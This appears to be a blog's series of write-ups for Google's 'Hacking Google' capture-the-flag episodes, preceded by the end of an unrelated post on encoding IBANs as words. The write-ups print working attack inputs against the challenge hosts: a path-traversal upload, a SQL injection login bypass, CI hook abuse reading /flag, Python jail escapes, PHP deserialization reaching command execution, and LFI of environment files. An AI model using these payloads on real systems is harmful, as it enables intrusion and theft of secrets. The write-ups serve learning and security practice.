Now we can encode and decode IBANs:

I would love to provide the source code of my implementation, but I would have to clean it up first. If you did a proper implementation of this, let me know!

Further Considerations

This is a list of "add-ons" to this idea, which I might extend in the future.

By discarding the IBAN checksum and implementing a custom crc-based checksum, one could reduce the storage footprint of the checksum.

It would also be possible to separately encode the checksum in an extra word which is appended to the end. Then the "checksum word" would be optional, and the user could decide whether he wants to remember this additional word.

Conclusion

This was a fun experiment that allowed me to dive deeper into topics that always interested me but never had a use case for. Maybe this idea is actually helpful - if you think so, let me know. I might write a simple web service that allows for an easy conversion. The problem with these things is that they are useless until not everybody (or some big banks) is adapting this. It would be really awesome if, in the future, I could just enter some words into my banking app to send my money to someone. However, there are probably also some security considerations I haven't thought of.

It took me quite a while to write those write-ups (especially this one - the last one), so I kept it rather short this time. The more exciting challenges were the first couple ones, anyways.

Challenge 01: Small Toys

Hints:

• One of the researchers really liked small toys.

The first challenge came with a binary file containing data that I could not really make sense of:

Someone hinted to me that in the video that is provided with each challenge, one of the researchers really liked small digital toys. So it became clear that this has to be some kind of graphical data for some old black and white display. Maybe there were talking about Tamagotchis?

It took me quite a while to figure out the image format. Turns out it's an animation sheet with multiple smaller pictures that use some weird padding. Also, it actually contains greyscale color information, so not only black & white.

So I wrote a Python script to parse this weird format and convert it into jpg files. One of the resulting images looked like this:

Putting all images in a line reveals some text containing the flag.

Challenge 02: Bleichenbacher

Hints:

• Have you heard of Bleichenbacher?

This was definitely the hardest (and most annoying) challenge, and that took me the most time.

The challenge presented you with a game (including it's source code) where you try to hit buttons at the right time to kill the bugs in your way - at least that's what I think it is about, never really played it for longer than a couple of seconds.

From the source code, it became apparent that the flag will be revealed once the player achieves an integer overflow (for example, by successfully submitting a score of -1). The source code of the game itself wasn't too interesting, other than the fact that they implemented their own cryptography library to work with signatures, which sign the high score and send it to the scoreboard API (which is written in Python).

The crypto library had some issues that would allow for forging the signature using the so-called Bleichenbacher 06 attack. This is quite complicated, and I don't want to go too deep into this topic. However, it was not the standard vulnerability and worked a bit differently. Basically, one had to pass multiple checks by exploiting the padding and putting garbage into some parts of the signature.

Challenge 03: Morse Code

Hints:

• There is morse code hidden somewhere

The third challenge was a bit different than the previous ones since it required you to go back to all the videos that came with each challenge and piece together a secret message.

Each video contained some morse code, which was audible but really hard to write down. So I did a spectral analysis of each part where I heard some beeping, and there the long and short beeps were more obvious:

However, the message that came out contained a flag that did not work. They later announced at the event Discord that there was a mistake and provided the correct part.

Conclusion

The first challenge was quite fun, though I did not enjoy the others as much. However, all in all, a really fun (but quite a time intensive) CTF!

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: Bug Hunters

Hints:

• Look at challenge 02 first

• ../../..

For this challenge, Google cloned their Bug Hunters website. But they exchanged the OIDC login with a basic login with a username and password, password reset functionality, and added /import and /export API endpoints.

I analyzed the login functionality thoroughly but could not spot something unusual. Turns out you get the site's source code (in HTML/JS) from challenge 02 and the backend code for the import/export endpoints (written in Go) from challenge 03!

The import endpoint allows users to upload bug reports by uploading .tar.gz compressed files. If a file is already present and we enable the debug mode by passing &dryRun=t&debug=t, we get a diff between the old and the new file.

After looking at the import functionality, it became apparent that the function does not check for path traversal attacks.

So we just created a .tar.gz file containing an empty flag file and submitted it using:

curl --location --request POST 'https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=../../../&dryRun=t&debug=t' \--form 'attachments=@"/home/michi/flag.tar.gz"'

And get the diff containing the flag as a response.

Challenge 02: Bug hunters 2

Hints:

• Brute force is the way to go

• By fixing one vulnerability, you might introduce another one

This challenge gives us the source code for the website from challenge 01, together with the hint to log in as user "tin".

In the source code, we can see that we have to log in to display the flags (each user has one). The users and their password hashes are hardcoded:

  { username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: true },  { username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }

The reset function generates a random password but only allows passwords of non-admins to be reset.

After some digging around, we find that they implemented their own method for comparing strings in constant time to be invulnerable from timing attacks. However, their method is based on comparing the indices of the digits (yes only numbers) in the string one by one instead of comparing the actual characters. That means that two strings will be considered equal if their length is the same and they have numbers in the same location (not even the same numbers).

This equals method is used to compare the hashes when logging in. If we reset tin's password often enough (using a simple script), we eventually get one without any numbers and can log in with every password containing no numbers.

I also found a way to log in as the admin user, whose password cannot be reset: We first have to obtain the actual base64-decoded hash of don's password with the following command:

> echo 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=' | base64 -d - | xxd -p8b8b546be4531a0bfe8d1b725160576cfd62fe68

Then we can brute force SHA1 passwords to get one, that has the numbers in the same places as don's hash. This actually gets us the flag for a bonus challenge.

Challenge 02: Bug hunters 3

Hints:

• Git has lots of flags

• CI can be dangerous

The challenge description tells you to find some bugs and gives you the hint to "find out how to contribute". By looking around the site from challenge 01, we find a Git URL that is pointing to a source code repository containing the source code of the backend.

When trying to contribute by pushing to the flag branch, the Git server rejects all push requests:

Total 0 (delta 0), reused 0 (delta 0), pack-reused 0remote: Skipping presubmit (enable via push option)remote: Thank you for your interest, but we are no longer accepting proposalsTo git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] flag -> flag (pre-receive hook declined)error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

The error message says that the "presubmit checks" were skipped - so let's try to enable them?

$ git push -o "presubmit" -u origin flagEnumerating objects: 7, done.Counting objects: 100% (7/7), done.Delta compression using up to 16 threadsCompressing objects: 100% (4/4), done.Writing objects: 100% (4/4), 708 bytes | 708.00 KiB/s, done.Total 4 (delta 2), reused 0 (delta 0), pack-reused 0remote: Starting presubmit checkremote: Cloning into 'tmprepo'...remote: done.remote: HEAD is now at f5582f1 testremote: Building version v0.1.2remote: ./build.sh: line 5: go: command not foundremote: Build server must be misconfigured again...remote: Thank you for your interest, but we are no longer accepting proposalsTo git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] flag -> flag (pre-receive hook declined)error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

Looking at the error message, we can see that the version number is printed by the server. So maybe there is a way to also print the flag, which probably works by executing cat /flag, again?

This code is from the build.sh file, which seems like it was part of some CI:

#!/usr/bin/env bashsource configure_flags.sh &>/dev/nullecho "Building version ${VERSION}"go build -ldflags="${LDFLAGS[*]}"

However, modifying it has no use since it executes always the unmodified on the server. But we can change the configure_flags.sh file to include the flag value:

#!/usr/bin/env bash# IMPORTANT: Make sure to bump this before pushing a new binary.VERSION="$(cat /flag)"COMMIT_HASH="$(git rev-parse --short HEAD)"BUILD_TIMESTAMP=$(date '+%Y-%m-%dT%H:%M:%S')LDFLAGS=(  "-X 'main.Version=${VERSION}'"  "-X 'main.CommitHash=${COMMIT_HASH}'"  "-X 'main.BuildTime=${BUILD_TIMESTAMP}'")

Conclusion

Challenge one and two were quite interesting, probably because I am really interested in web technologies. However, I didn't like the challenge three that much, and without the hint from another participant to look at the hooks, it would have taken me a lot longer to figure out. You can read my write-up for the next (and last) episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: OAuth 2.0

Hints:

• Have a thorough look at the challenge intro video

• Credentials might be accidentally left on the system somewhere

The first challenge gives one command and the hint that a key should be found and RFC 6749 (which is about Oauth) should be put to use.

The command opens a TCP connection using socat, which presents a prompt asking for a password:

This one took me a while to figure out. Each episode comes with an introductory video. Someone on the Hacking Google CTF gave a hint that the password is hidden in this video. It took us a while, but eventually we found it:

Entering this password reveals a shell environment. Seems like it was the development environment of some developer creating a backup script for some documents:

The backup.py script reveals the ID of the document the developer tried to back up, but the method to get the credentials was not finished yet.

Okay, seems like we have the document, containing the flag? Now we probably have to somehow get the Oauth credentials to access that file. Luckily enough, we can find the credentials in .config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json, which contains a client id, client email, and private key.

Looking at the documentation for the Google Api's OAuth 2 service, we now have to construct an RS256 JWT token with the following content and POST that to https://oauth2.googleapis.com/token:

{   "iss":"backup-tool@project-multivision.iam.gserviceaccount.com",   "scope":"https://www.googleapis.com/auth/documents.readonly",   "aud":"https://oauth2.googleapis.com/token",   "exp":1664813638,   "iat":1664810038}```By doing that we receive an access token that is valid for one hour to access that file. And of course, that file contains the flag!# Challenge 02: The Maze> Hints:- Python is not made for secure/jailed environments- A terminal might not be the best choice for this challenge![ASCII maze](https://cdn.hashnode.com/res/hashnode/image/upload/v1668258346724/ilWwu5iZw.png align="center")Again, we are presented with a `socat` command, but this time with an interactive game. The player can move around, pick up stuff like keys to unlock doors, energy boosters (energy gets lost by walking), and traps to kill enemies. After playing the game for a while, it seems rather hard and not going anywhere. The instructions for this challenge just mention that you have to cheat somehow. After some brainstorming and playing with the thought of writing a bot to solve the game, I remembered the most famous cheat code: The [Konami Code](https://en.wikipedia.org/wiki/Konami_Code). And indeed, entering the key sequence of that cheat opens up a shell-like environment.Some toying around with that shell reveals that it is a really limited/jailed Python3 shell. This challenge took me a while, and I worked with other CTF participants to solve it. After some research, we found [this article](https://dspyt.com/how-to-python-jail-escape-newbie-ctf-2019), which explains how a Python jail would work and how it can be escaped. However, our shell was even more limited, not persisting the session after each command, seemingly printing only one line of the result and having a character limit for the input.First, we wanted to see, which classes are loaded. Because of the given limitation, we would have to manually print each entry of the subclasses array like so: ```pythonprint(().class.bases[0].subclasses()[123]```To automate this, my friend wrote a Rust script that automatically connected, entered the Konami code, and executed the Python command. Now we had a list of classes, which contained some interesting entries. Most importantly we spotted the "builtinImporter" object at index 84. This allowed us to actually load modules like this:```python().class.bases[0].subclasses()[84].load_module('os')```We eventually also found a way to persist our intermediate results between our inputs by creating new types and storing information in them:```python# create new subclassc=str.__base__.__subclasses__();c[0]("a",(),{"b":c[84].load_module})# call it, like sostr.__base__.__subclasses__()[274]("os")# which allows us to execute commands on the systemc=str.__base__.__subclasses__()[274].b("os");c.system("ls")# which lists a 'flag' file```That's it, right? Well, not quite. We could not `cat` the file and print the output in our terminals because they interpreted some [ANSI codes](https://en.wikipedia.org/wiki/ANSI_escape_code) that hid the output. But thanks to our Rust program, we could actually see the raw output and find the flag there.# Challenge 03: Corgi> Hints:- You don't have to crack the encryption.- Maybe there was some useful code left from developmentThis challenge came with a QR code and an `.apk` file, which is an Android application. I found [this online decompiler](https://www.decompiler.com/) tool, which I could use to look at the decompiled source code.The app seems to allow scanning QR codes (using Google Lens) to enable app content with some encryption magic. After making sure that there is nothing weird going on with that app, I installed it on my phone. Normally I would never install such files on my Phone from untrusted sources, but I haven't any experience with Android development and did not want to search for a good emulator that can cope with Google services. Google wouldn't install a virus on my phone - I hope at least.Scanning the QR code with any reader app, will lead to this URL: `https://corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5`Everything behind the `/` can be decoded using base64 and will result in another URL: `https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939`This URL is parsed by the app and is used to unlock content. However, this only works if the client is "subscribed" which is testing using the `_mac` value and some HMAC encryption, whose secrets can be found in the `strings.xml` file. However, the decompiled code is hard to read, and before trying to crack the encryption I wanted to have a look at the scanning logic.The `QrCodesKt.java` has some debug logic that was left in the code. Specifically, when  `/debug` and `#force_subscribed` is in the URL, we are "force subscribed" skipping the subscription check at all. Generating a QR code with its URL pointing to `https://corgis-web.h4ck.ctfcompetition.com/debug/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5#force_subscribed` and scanning it will reveal the flag in the app.# ConclusionI quite liked reverse engineering the QR code logic of the third challenge. The second challenge took most of the time and nerves but was pretty rewarding. You can read my write-up for the next episode [over here](https://blog.lohr.dev/hacking-google-ctf-episode-4).Episode Overview:- [Episode 0](https://blog.lohr.dev/hacking-google-ctf-episode-0)- [Episode 1](https://blog.lohr.dev/hacking-google-ctf-episode-1)- [Episode 2](https://blog.lohr.dev/hacking-google-ctf-episode-2)- [Episode 3](https://blog.lohr.dev/hacking-google-ctf-episode-3)- [Episode 4](https://blog.lohr.dev/hacking-google-ctf-episode-4)- [Episode 5](https://blog.lohr.dev/hacking-google-ctf-episode-5)

Challenge 01: LSB stego

Hints:

• There are two similar images

• One of the images has slightly different pixel data

The challenge consists of the following image and the following description:

This image might look familiar. But where have you seen it before?

Hint: Sometimes the answers are hidden in plain site

Indeed the image is hidden in plain site! It is the background of the hacking google webSITE: https://h4ck1ng.google/assets/website.png. When comparing both images in terms of checksum and with the help of diff tools, it becomes apparent that this is not the same image. The background image seems to contain some extra information.

Running in through the string utility (as previously used in the last episode, we get the following output:

strings website.png | headIHDR        pHYssRGBgAMAtEXtAuthorCrash OverrideRiTXtCommentD&R found our last message so just using base64-encoding isn't going to be enough. Maybe hide it in an SSL certificate? Should pass DLP checks. And use LSB stego, I'm sure that'll fool them. I found an online tool that works to read it (I'll send you a link) so we can probably deprecate your custom decoding tool. Oh and remember to delete this message before you check in the changes[IDATx

There are a few interesting things here: The message author references "stego", which is an abbreviation for Steganography, which describes the practice of hiding information in a different message or data (like an image). LSB stands for "least significant bit", meaning each pixel contains part of the secret message in the least significant bits of the pixel's data. Those can be extracted with tools like this: https://stegonline.georgeom.net/upload.

After running the original challenge image through the stego tool we get some text-based data, which looks like a certificate, which was also mentioned in the hidden message from the website.png. But apparently, they hide the information we aim to get (the flag) in the certificate somehow.

The certificate can be parsed with the openssl x509 -in cert -text command, which reveals the hidden flag in the organization name of both the issuer and subject data.

After solving the challenge, someone pointed out to me that there is a tool called "Cyber Chef" that can do all the steps to decode the data, at once. It can do even more and is quite handy for such things: https://gchq.github.io/CyberChef/#recipe=Extract_LSB('R','G','B','A','Row',0)Parse_X.509_certificate('PEM')

Challenge 02: Timesketch

Hints:

• You don't need Timesketch

• Look for things that look like a flag

This challenge was a bit boring. They want you to analyze some server logs using Timesketch. They included instructions on how to set it up (even using Docker), but I didn't feel like it.

Since the flag has to be somewhere in the logs, I just looked for some keywords that appear in a flag. Weirdly enough searching for "h4ck1ng" etc. yielded no results. However "HTTP" did!

cat data.csv | grep http returned the URL, which was scramled like this: https://h[4]ck[1]n/g.go[og]le/s[ol]ve/....

Challenge 03: Quarantine Shell

Hints:

• Focus on the available commands

• Maybe you can somehow overwrite existing commands

The command command: socat FILE:tty,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 is given. It connects you to a remote shell. However, this shell is quarantined, meaning you supposedly can't execute commands:

 socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337== proof-of-work: disabled ==bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shell   ___                                    _    _                ____   _            _  _  / _ \  _   _   __ _  _ __  __ _  _ __  | |_ (_) _ __    ___  / ___| | |__    ___ | || | | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \  / _ \ \___ \ | `_ \  / _ \| || | | |_| || |_| || (_| || |  | (_| || | | || |_ | || | | ||  __/  ___) || | | ||  __/| || |  \__\_\ \__,_| \__,_||_|   \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_|The D&R team has detected some suspicious activity on your account and has quarantined you while they investigate961 days stuck at ~~ $ echo testcommand blocked: echo testcheck completions to see available commands

There are quite some interesting things there, like the == proof-of-work: disabled == output. But after some research, it turned out that this is just something from the CTF virtualization environment.

Pressing the tab key reveals the possible commands - so it seems like autocomplete still works. By typing cd / and then pressing tabs, we actually see all the files in the root file system. This reveals that there is a /flag file, which probably contains the flag URL.

By looking through the command list, I found some interesting commands that I actually was able to execute. One of the was the function command/keyword.

After some research, I found the following article: https://blog.dnmfarrell.com/post/bash-function-names-can-be-almost-anything/. After playing around with redefining the default echo command, I finally got the flag by using the following commands:

function echo{command echo $(</flag);}echo

We now have the flag, but we can now also access the shell files that implement the quarantine. After looking through the code, the relevant part seems to be this:

    function quarantine_protocol() {        if [[ "${COMP_WORDS[0]}" == '_dnr_toolkit' ]];         then             # Removing the trap here then setting it again in the completions has the             # effect of allowing all the code in the completions function to run             # while preventing any user commands.             trap - DEBUG true else echo "command blocked: ${BASH_COMMAND}"             echo "check completions to see available commands" false         fi     }     function quarantine() {         # Remove the environment, but only env vars, not functions.         set -o posix unset $(set | grep '=' | grep -v '^_' | grep -v 'flag' | cut -d'=' -f1) 2>/dev/null         set +o posix         # Keep these at least, we're not THAT cruel.         PS1='~ $ '         PS2='> '         PS4='+ '         # Trap every command and ignore it.         # Credit to https://stackoverflow.com/a/55977897 # This inadvertently has the effect of leaving them stuck at ~ and unable # to `exit` :^)         set -T         # Enable for subshells         shopt -s extdebug         # From the man pages: "If the command run by the DEBUG trap returns a non-zero value, the next command is skipped and not executed"         trap quarantine_protocol DEBUG         # Trap every single command     }

Conclusion

Again, an interesting challenge - though I would say this was the weakest of the five episodes. You can read my write-up for the next episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: Wannacry

Hint: The Linux file and strings utilities are very useful

In the first challenge, only a binary file is provided. After looking at the hex values of the binary file and printing the strings of the file header using strings challenge.bin | head it became apparent that this is a gzip compressed file. file challenge.bin further revealed that it is .zip compressed. Unzipping this file resulted in a challenge.tar.gz file which I could extract with tar -xzvf challenge.tar.gz. This gave me two files: flag and wannacry.

The file command revealed that the wannacry is an actual executable and the flag is an OpenPGP secret key. The file name of the executable led to some hesitation at first but after running it through several malware scanners, I determined that it is safe to execute.

> ./wannacryUsage of ./wannacry:  -encrypted_file string        File name to decrypt.  -key_file string        File name of the private key.

Interesting, so the wannacry executable can use some private key to decrypt our secret key flag file. But where do we get the private key from?

From the first episode, we know what a flag looks like. So why not search for it in the strings of the binary using strings wannacry | grep h4ck1ng. This returned not the flag, but the URL https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/ which is a list of 200 private key files.

My friend quickly decided to brute force the key and wrote a script to try every private key on the secret key flag. Eventually, we found one that worked and got the unencrypted flag file that contained the actual flag!

Challenge 02: Wannacry the second

** Hints:**

• The strings might be intresting again

• Execute the hidden function

Challenge 01 was a nice warm-up, but challenge 02 is a whole other level. It comes with a binary file, which unzips to a binary executable called wannacry, again. However, this time, executing the binary prints nothing and just returns the error code 0. So it looked like I would have to figure out some secret parameters in order to get the executable to print something. Looking at the strings again reveals another URL: https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//. A website that just displays the text "Our princess is in another castle." - a reference (and a meme) to from the game Super Mario.

The executable seems to contain a whole dictionary at the end, containing various strings. The string princess is definitely in there together with lots of other alphabetically sorted words.

Looking at the output of the file command more specifically, shows us that it is "not stripped" and therefore contains debug symbols:

> file wannacrywannacry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0c23340ab6c6d0c158f0ee356a1deb0253d8cf4c, for GNU/Linux 3.2.0, not stripped

Looking at some of the debug symbols in the binary strings, I spotted that the time library is used. This led to my first suspicion that this might be some time-based encryption. At this point, I saw no other way than reverse engineer the executable with static analysis - which I have never done before.

So I downloaded Ghidra, which is a software suite developed by the NSA to reverse engineer software. The static analysis showed that the executable always immediately exists. But there is more code - there is just no way to execute it (legitimately). Looking at that code revealed that they actually generate time-based passwords (TOTP) using SHA-1 and print them.

Now there are two options:

1. Reverse engineer the TOPT algorithm and implement it myself

2. Somehow get the print() function to execute.

The second option seemed way more interesting to me. Since the binary contained symbols, we should be able to attach a debugger to the process. So I read into how gdb is used and run the following commands:

break main # we want to set a breakpoint in the main method before the software existsrun # run the program until we hit our breakpointj print # continue to execute the program in the print function

That revealed a URL together with one of the words from the dictionary:

Visiting this URL right after running the program generated it, shows this page:

Clicking the button that is displayed, reveals the flag. If you wait too long, the page will just show the message about the princess again.

Challenge 03: Chess 2.0

Hints:

• Look at the PHP source code

• Magic methods are interesting

Another chess challenge - exciting! This time, however, there is no admin panel. Also looking at the diff between the old and new HTML file, we can see that this time the flag is not printed upon winning the game:

echo "<h1>Winning against me won't help anymore. You need to get the flag from my envs." . "</h1>";

Also, the load_board.php file was changed: It now only allows loading files with the extension .php. So we cannot read the environment variable from /proc/self/environ.

Luckily the exploit from the chess challenge from episode 1 to get the web app's source code still works. Looking at the diff again, the code is the same as in challenge 01. While solving challenge 01, I already suspected that you might be able to modify how the stockfish (the chess engine, see my post about the first episode for more details) binary is called. Would there be a way to exploit this?

After going through the PHP source code a dozen times, there is one piece of code I couldn't make sense of. The __wakeup() method of the class Stockfish that contains the whole code which talks to the chess engine process:

    public function __wakeup()    {        $this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;        echo '<!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'-->';    }

Reading the PHP docs about magic methods reveals that __sleep() and __wakeup() are used to run code before serialization and after deserialization. The sleep method can be used to clean up and the wakeup method to reestablish database connections. Or in our case, it opens the stockfish binary to re-establish a connection with the chess engine. The weird thing is, that it also echos the stdout of the process. Maybe that was used for debugging?

Ok fine, we now have understood all the backend code and the wakeup thing is legit - and now? Well, now I was stuck. After some more spending some more hours looking at the code, I spotted another suspicious piece of code. Rember where I tried to teleport the chess pieces using the move_end method in episode 1?

Turns out there is actually a vulnerability there:

$movei = unserialize(base64_decode($_GET['move_end']));

This code, used for evaluating where a chess piece was dragged to, deserializes WHATEVER we pass to it. Looking at the docs for unserialize(), they explicitly state:

If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the __unserialize() or __wakeup() methods (if one exists).

Oh damn. This means we can pass a PHP class to it that the current environment recognizes, set its variables and have the __wakeup() method execute. And in this case, wakeup() actually executes a process and returns the stdout to us.

So, I copied the code and serialized an instance of the stockfish class which contains the env command for the variable that normally would hold the path to the stockfish binary. This is then base64 encoded and passed to the move_end parameter, like so:

https://hackerchess2-web.h4ck.ctfcompetition.com/?move_end=Tzo5OiJTdG9ja2Zpc2giOj...

And voila, we now see ... one environment variable? Turns out only the first line of the command output is written to the HTML. So the final step was to transform the output of the env command to one line: env | xargs.

Now we can see a list of all environment variables as comments in the HTML. And there is the flag:

<!--wakeupcalledGATEWAY_INTERFACE=CGI/1.1 CONTENT_TYPE=multipart/form-data; boundary=--------------------------355823505429505671295364 SHLVL=1 REMOTE_ADDR=10.119.223.201 QUERY_STRING=move_end=Tzo5OiJTdG9 [...]SERVER_ADDR=10.120.3.109 REDIRECT_FLAG2=https://h4ck1ng.google/solve/rc[...]-->

Conclusion

Another fun challenge! This one was definitely harder than the previous one - whose write-up you can read over here. Or continue with episode 3 and read my write-up for the next episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

I had never participated in a CTF (Capture The Flag) before but this one seemed like a good opportunity since it did not have a deadline and the challenges are more about typical security issues than finding some exploits in very involved algorithms. That being said, I am by no means a security expert. However, I always found this topic very interesting and once found a severe but interesting security flaw in a production web application (I might publish a story about this eventually).

This blog post outlines how I solved the challenges together with a friend. If you haven't solved them yet for yourselves, I would not recommend reading the whole article - however, I will provide some more hints at the beginning of each chapter. If you don't have the time to try your luck in solving these challenges yourself, you might find this article interesting. I am not sure whether I find the time (and have the skills) to solve all challenges, but after 6 hours I was able to finish episode 0, which contains the two challenges presented in this article.

Challenge 01: Hacker Chess

Hints:

• You don't have to play chess very well (I don't)
• Don't get distracted
• Level the playing field

The first challenge is presented as a website where one can play chess against some AI. The first thing to catch my eye was the "Master Login" button in the lower right corner that jumps into the eye. Could this be the classic SQL injection scenario?

But let's first have a look at the chess game itself: At the beginning, the game plays like normal, but at move seven, something weird happens:

All enemy pawns somehow became queens - the AI is cheating! As if I had a chance against a chess AI anyways... At this point, it became quite obvious that I was not able to beat the opponent without some help.

Let's hit "F12" and inspect the HTML source code of this website. I made the following notes:

• The chessboard is made of an HTML table... 🙃
• Clicking on the table cells calls the current page with the parameter ?move_start=<clicked cell>
  • E.g. clicking on square E3 will open the page ...com/index.php?move_start=e3
  • This page then highlights the allowed moves and when clicking another square will something like ...com/index.php?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30
• There is a difficulty switch... Options are "Impossible", "Unbeatable" and "Invincible"
  • Not sure which is the easiest, but all settings seem to result in pretty good moves
• The game loads automatically, but there is also a "Start" button
  • This button executes the load_baseboard() JavaScript function
  • This function makes a request to load_board.php passing a filename(baseboard.fen) in the request and reloads the page

Chess Piece Teleportation

So many possibilities!First I tried the obvious: Telling the backend to teleport my chess pieces so that I can checkmate the enemy! For that, I needed to understand how the ?move_end=... parameter works.

The value of the move_end parameter looked suspiciously like a base64 encoded string, since it only contained characters and numbers and is often used in URL parameters. Decoding the value results in a:2:{i:0;s:2:"d2";i:1;s:2:"d4";}, which contained my move (from square D2 to D4). Since it does not look like JSON, my initial guess was that this is some sort of array data structure. Later, I found out that this guess was correct and this is apparently how PHP serializes its data structures.

I tried changing the values in that string to teleport my chess pieces, but the chess app detected that as an illegal move.

Setting a custom starting board... or not?

Remember the load_board.php endpoint? After some tinkering, we found that you can actually call this one by setting the file value to baseboard.fen at any time to generate a new PHP session. This PHP session is identified by a PHPSESSID cookie! My friend also recognized the .fen extension as a file format that is used to specify chess boards.

So what if we could load a different .fen file where we are a few moves away from winning the game? We somehow have to inject our custom file into the filesystem somehow... Maybe you can guess the solution? We could not figure that one out just yet! But we discovered something even better: A LFI vulnerability! When calling the load_board.php endpoint with a GET request, the endpoint actually returns the loaded data in its body. But we could also specify index.php as file (or any other file in the local file system) which would print the raw source code of the index.php file!

This revealed a couple of interesting things:

• The AI cheating can be turned off by admins
• The difficulty setting is only a distraction and does not do anything in the backend
• The script uses the chess PHP library together with the stockfish chess engine
• The flag is stored in an environment variable and revealed as soon as the player wins the game: echo "<h1>ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG') . "</h1>";

And yes, we could now also print the source code for the admin.php file:

• The login is susceptible to SQL injection
• Admins can turn off cheating and change the thinking time of the AI

Hacking the Master Login

We now knew that we did not have to hack the admin page, since you only have to win the game in order to obtain the flag. However, it seemed like turning off cheating and changing the thinking time can help us win the game.

The master login on the admin.php page was a simple username and password login page. From our previous exploit, we now know that the login is vulnerable to SQL injection attacks:

sprintf("SELECT username FROM chess_ctf_admins WHERE username='%s' AND password='%s'", $_POST['username'], $_POST['password']);

After fiddling around with some attack attempts we were able to log in by entering ' or ''=' as username and password.

While turning off cheating helped quite a bit, the thinking time parameter did not seem to do much for us. According to the documentation of the stockfish engine, setting it to -1 is supposed to turn off thinking altogether and just use the next best move. While this might actually be the case, I was still too bad at chess to beat the AI (however, I heard from others that without the cheats they were able to win the game and get the flag).

Custom starting boards... This time for real!

After some thinking, a really funny thought came to my mind. What if the file loading functionality of the load_board.php script actually supports loading from URLs? Might be worth a shot. And indeed, looking at the source code we see this:

if (isset($_POST['filename'])) {  $fen = trim(file_get_contents($_POST['filename']));  # XXX: Debug remove this  echo 'Loading Fen: '. $fen;}

Thanks to Mr. XXX, who forgot to remove the debug code, we were able to see the source code of this function in the first place. But now, we can actually validate that this script uses file_get_contents, which supports loading from URLs.

So to actually attempt this hack, we used this tool to build our own .fen file. This was then uploaded to an anonymous pastebin and put into the filename parameter. Now by calling this script with the aforementioned parameters, we initialize a new session. When we now load the index.php file with the session cookie from load_board.php we are presented with our custom board!

Interestingly we weren't able to beat the AI: As soon as we set the opponent "mate" (so that his king cannot move anymore), the AI didn't react anymore but we also didn't get any winning message. Turns out, I didn't quite remember what a checkmate was. Luckily the chess PHP library is pretty well written and explains the conditions very well:

    public function inCheck(): bool    {        return $this->kingAttacked($this->turn);    }    public function inCheckmate(): bool    {        return $this->inCheck() && \count($this->generateMoves()) === 0;    }

I actually set the opponent in a stalemate, which is not handled in the code. After adding additional pieces to our starting board so that we are attacking the opponent's king, the winning message containing the flag (a URL) popped up!

Later we discovered that we just could have used the load_board.php script to extract the flag from the /proc/self/environ file.

Challenge 02: Aurora

Hints:

• Look at the code
• You only need one file

The second challenge of episode 00 presents a search engine that can be used to see the lines of several pre-determined logfiles that contain keywords (consisting of at least four characters).

A quick look into the HTML source code reveals a JavaScript function that performs GET requests in the form of: https://aurora-web.h4ck.ctfcompetition.com/?file={filename}&term={term}.

An interesting comment in the last line of that file also catches my eye: <!-- /src.txt -->. This leads us to the source code of the backend, which is written in Perl: https://aurora-web.h4ck.ctfcompetition.com/src.txt

I have zero experience with Perl, so let's hope that we do not have to find an exploit in the code itself! My first assumption (and hope) was that I could exploit the search tool to find some information about the system. I even wrote a small script to search important keywords through all files. But after spending way too much time slowly revealing the contents of the files, I gave up (and should have sooner).

Another friend of mine actually gave me a hint:

The Perl open() function is very powerful.

Turns out the open function can be used to execute Linux commands! Oh, dear a RCE challenge!

With that info, I now could run any command on that system (well not quite, Google designed the challenge with care, and only some stuff actually works)! So let's have a look at the file system with ls:
